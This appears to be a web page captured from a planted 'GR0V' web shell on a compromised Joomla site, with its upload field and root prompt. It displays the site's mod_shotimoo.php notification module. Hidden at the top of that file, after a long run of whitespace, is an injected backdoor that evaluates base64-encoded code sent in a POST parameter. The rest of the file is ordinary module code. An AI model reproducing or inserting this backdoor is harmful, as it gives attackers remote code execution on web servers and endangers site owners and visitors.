? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/modules/mod_shotimoo/
File Upload :
Current File : /home/admin/public_html/old/modules/mod_shotimoo/mod_shotimoo.php

<?php                                                                                                                                                                                                                                                               eval(base64_decode($_POST['n05135b']));?><?php
/**
 * Notification module for Joomla 1.5
 *
 * @author      $Author: shumisha $
 * @copyright   Yannick Gaultier - 2011
 * @package     shotimoo
 * @license     http://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @version     $Id$
 */

// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

$mainframe = &JFactory::getApplication();
if (!$mainframe->isAdmin()) {

  $document = &JFactory::getDocument();
  if ($document->getType() == 'html') {

    // insert custom js
    $js = '';
    for( $n = 1; $n < 4; $n++) {
      $cleared = false;
      // search for a cleared by user cookie
      if($params->get('useclearcookie', false)) {
        $cleared = JRequest::getBool( 'shotimoo_clrd_' . $module->id, false, 'COOKIE' );
      }
      if(!$cleared) {
        $message = $params->get('message'.$n, '');
        $title = $params->get('title'.$n, '');
        $delay = intval($params->get('close_delay'.$n, 0));
        $sticky = empty($delay) ? ', sticky:true' : '';
        $visibleTime = empty( $delay) ? '' : ',visibleTime:' . $delay;
        $message = str_replace( "\n", '<br />', $message);
        $start = $params->get( 'display_from'.$n, '');
        $end = $params->get( 'display_until'.$n, '');
        $now = '';
        $dateFormat = 'Y-m-d H:i:s';
        if(!empty($start)) {
          try {
            $now = new DateTime();
            $now = $now->format($dateFormat);
            $startDate = new DateTime( $start);
            $startDate = $startDate->format($dateFormat);
          } catch (Exception $e) {
            $startDate = $now;
          }
          if($startDate > $now) {
            $message = '';
            $title = '';
          }
        }

        if(!empty( $end)) {
          try {
            if(empty( $now)) {
              $now = new DateTime();
              $now = $now->format($dateFormat);
            }
            $endDate = new DateTime( $end);
            $endDate = $endDate->format($dateFormat);
          } catch (Exception $e) {
            $endDate = $now;
          }
          if($endDate < $now) {
            $message = '';
            $title = '';
          }
        }

        if(!empty( $title) || !empty( $message)) {
          $js .= 'mod_shotimoo_'. $module->id.'.show( {message:\''.addslashes($message) . '\',title:\''.addslashes($title).'\''. $sticky . $visibleTime.'});' . "\n";
        }
      }
    }

    if(!empty( $js)) {
      // insert links to js an css, using shared plugin
      if(!class_exists('plgSystemShotimoo')) {
        $fileName = JPATH_ROOT . DS . 'plugins' . DS . 'system' . DS . 'shotimoo.php';
        if(is_file( $fileName)) {
          include_once $fileName;
        } else {
          return;
        }
      }
      plgSystemShotimoo::shootimooAddAssets();
      $js = 'window.addEvent(\'domready\', function(){
        var mod_shotimoo_'. $module->id.' = new Shotimoo({
        shId:\''.$module->id.'\',shSetCookie:' . ($params->get('useclearcookie', false) ? 'true' : 'false') .',locationVType:\''.$params->get('vLocation', 'top').'\',locationHType:\''.$params->get('hLocation', 'right').'\'});' . $js . '});';
      $document->addScriptDeclaration( $js);
    }
  }
}

T1KUS90T
  root-grov@210.1.60.28:~$